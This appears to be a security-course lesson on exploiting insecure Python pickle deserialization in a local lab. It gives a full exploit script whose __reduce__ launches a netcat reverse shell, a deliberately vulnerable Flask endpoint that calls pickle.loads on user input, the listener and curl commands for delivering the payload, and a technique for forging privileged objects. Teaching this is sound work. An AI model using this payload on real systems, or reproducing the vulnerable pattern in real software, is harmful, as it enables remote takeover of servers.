Hello! Welcome back to our module on advanced server-side vulnerabilities.
In our last lesson, we established the theoretical foundation of insecure deserialization. You learned what serialization is, how deserializing untrusted data becomes a security risk, and how Python's pickle module can be abused via the __reduce__ method to achieve Remote Code Execution (RCE).
Today, we transition from theory to practice. This lesson is all about the hands-on application of those concepts. Our learning outcome is to identify and exploit insecure deserialization vulnerabilities in a target application, specifically using Python Pickle. You will learn how to:
- Craft a malicious pickle payload to execute commands.
- Set up a vulnerable application environment.
- Execute the attack to gain a reverse shell on the target.
Given your background in Computer Science and Python, you'll be writing the exploit code yourself, giving you a deep, practical understanding of the entire attack chain.
1. Anatomy of a Python Pickle RCE Exploit
Let's start by building our weapon. As we discussed, the __reduce__ "magic method" is the key. When an object with this method is deserialized, Python executes a callable specified by the method. We can use this to call os.system with a command of our choosing.
For a practical attack, a reverse shell is more effective than a simple command like id or whoami. It provides interactive access to the compromised server.
The article "Exploiting Python pickles" provides a clear, step-by-step guide to creating exactly this kind of exploit. We'll use it as our primary reference for building the payload.
This article by David Hamann will be our guide for creating the payload and the vulnerable application. It contains all the code snippets we need.
First, read the sections 'Controlling the behavior of pickling/unpickling' and 'Creating the exploit'. Focus on understanding the structure of the RCE class and its __reduce__ method. Notice how it returns a tuple containing os.system and the command string.
Let's break down the exploit script from the article:
- Import necessary modules:
picklefor serialization,base64for encoding the payload, andosto accessos.system. - Define the malicious class: A class (named
RCEin the article) is created. - Implement
__reduce__:- This method returns a tuple:
(callable, arguments). - The
callableisos.system. - The
argumentsis another tuple containing the command string. A common reverse shell payload for Linux is:rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR_IP YOUR_PORT > /tmp/f. Remember to replaceYOUR_IPandYOUR_PORT.
- This method returns a tuple:
- Instantiate and Serialize: An instance of the class is created (
RCE()), and then passed topickle.dumps()to create the raw byte stream payload. - Encode the Payload: The raw bytes are encoded using
base64.urlsafe_b64encode()to ensure they can be safely transmitted over HTTP in a form or URL parameter.
Here is the complete script. Create a file named exploit.py and save this code.
# exploit.py
import pickle
import base64
import os
class RCE:
def __reduce__(self):
# Replace with your attacker machine's IP and a port for the listener
ATTACKER_IP = "127.0.0.1"
ATTACKER_PORT = 4444
cmd = (f'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
f'/bin/sh -i 2>&1 | nc {ATTACKER_IP} {ATTACKER_PORT} > /tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled).decode())

2. Setting Up the Target Environment
To test our exploit, we need a vulnerable application. An application is vulnerable if it deserializes user-controlled data with pickle.loads(). We will create a simple web app using Flask that does exactly this.
Let's return to the 'Exploiting Python pickles' article to get the code for our vulnerable server.
Read the section 'Creating a vulnerable app'. Copy the Flask application code into a new file named app.py.
Here's the code for your app.py:
# app.py
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/hackme", methods=["POST"])
def hackme():
# WARNING: This is intentionally vulnerable code for educational purposes.
# Do NOT use this in production.
pickled_data = request.form.get('pickled', '')
if pickled_data:
try:
data = base64.urlsafe_b64decode(pickled_data)
deserialized = pickle.loads(data)
# In a real app, something would be done with 'deserialized' here.
except Exception as e:
print(f"Error deserializing: {e}")
return 'Data processed.', 200
if __name__ == "__main__":
# To install flask: pip install Flask
app.run(debug=True, port=5000)
This application has a single endpoint, /hackme, that accepts POST requests. It expects a parameter named pickled, base64-decodes it, and passes the result directly to pickle.loads(). This is the vulnerability.
3. Executing the Attack
Now you have all the pieces: the exploit generator (exploit.py), the vulnerable server (app.py), and the knowledge to connect them.
Here is the attack plan:
-
Start your listener: Open a terminal and start a
netcatlistener to catch the incoming reverse shell. Use the same port you specified inexploit.py.nc -nlvp 4444The flags mean:
-n(no DNS),-l(listen),-v(verbose),-p(port). -
Run the vulnerable app: Open a second terminal, navigate to the directory with
app.py, and run it.# First, ensure you have Flask installed # pip install Flask python3 app.pyYou should see output indicating the Flask server is running on
http://127.0.0.1:5000. -
Generate the payload: Open a third terminal and run your
exploit.pyscript.python3 exploit.pyThis will print a long base64-encoded string to your console. This is your malicious payload. Copy it.
-
Send the payload: Use
curlto send the payload to the vulnerable application. ReplaceYOUR_PAYLOAD_HEREwith the string you just copied.curl -X POST -d "pickled=YOUR_PAYLOAD_HERE" http://127.0.0.1:5000/hackme -
Catch the shell! Immediately switch back to your
netcatlistener terminal. If everything worked, you will see aconnect to [127.0.0.1] from ...message, and you will have a command prompt. You can now execute commands likewhoami,id, andls -laon the "victim" machine (which is your own machine in this case).
To see a similar attack carried out in a real web application context, watch the final part of the PwnFunction video from our last lesson.
Insecure Deserialization Attack Explained
The video 'Insecure Deserialization Attack Explained' demonstrates this exact attack flow, but uses a malicious cookie instead of a POST parameter.
Watch the final segment from 07:46 to 08:53. This will solidify your understanding by showing the payload delivery and the resulting reverse shell in a slightly different but conceptually identical scenario.
Test your understanding!
Modify your exploit.py script. Instead of a reverse shell, make the payload execute the command touch /tmp/pwned. After sending the payload to the application, how would you verify that your exploit was successful?
Show answer
You would modify the cmd variable in exploit.py to be cmd = 'touch /tmp/pwned'. After generating and sending the new payload, you would verify its success by checking for the existence of the file in the /tmp directory. You could do this by running the command ls /tmp/pwned in your terminal. If the file exists, the exploit was successful.
4. Advanced Topic: Exploitation Without Direct RCE
In some cases, developers might try to secure pickle by using a "restricted" or "safe" unpickler that prevents calls to dangerous modules like os. Does this mean the application is safe? Not necessarily.
Even if you cannot execute arbitrary commands, you can still cause significant harm by manipulating the application's logic. If you know the class structure the application expects to deserialize, you can craft a pickled object of that same class but with modified instance attributes.
For example, if an application deserializes a User object that has an attribute isAdmin = False, you could craft your own User object with isAdmin = True, pickle it, and send it to the server. When deserialized, the application might grant you admin privileges based on this manipulated object.
Advanced Pickle Exploitation Against LLM’s with Python!
The video 'Advanced Pickle Exploitation' by Off By One Security provides an excellent demonstration of this advanced technique.
Watch the segment from 24:57 to 27:44, and then the demonstration from 38:59 to 46:10. The speaker explains how to exploit an application by creating a pickled object of an expected type (CustomSocket) and manipulating its attributes (ip and message) to control the application's behavior, even without direct RCE.
This technique is more subtle and requires a better understanding of the target application's source code, but it's a powerful method to bypass simple RCE mitigations and is a hallmark of more advanced exploitation.
Conclusion
In this lesson, you moved from theory to hands-on exploitation of insecure deserialization in Python. You successfully built and executed an attack from start to finish.
Key Takeaways:
- Exploit Crafting: A pickle RCE payload is a serialized instance of a class containing a
__reduce__method, which is crafted to return(os.system, (command,)). - Payload Delivery: The payload must be encoded (e.g., base64) and delivered to an application endpoint that passes it to
pickle.loads(). - Attack Chain: The full attack involves setting up a listener, generating the payload, and sending it to the vulnerable server to catch a shell.
- Beyond RCE: Even with RCE mitigations, insecure deserialization can be exploited by manipulating the attributes of deserialized objects to control application logic.
Next Lesson Preview:
We will now shift our focus from a language-specific format (pickle) to a widely used data-interchange format: XML. In the next lesson, "Identify XML External Entity (XXE) injection vulnerabilities by manipulating XML parsers," you will learn how another type of data parser can be tricked into exfiltrating local files and performing server-side request forgery (SSRF).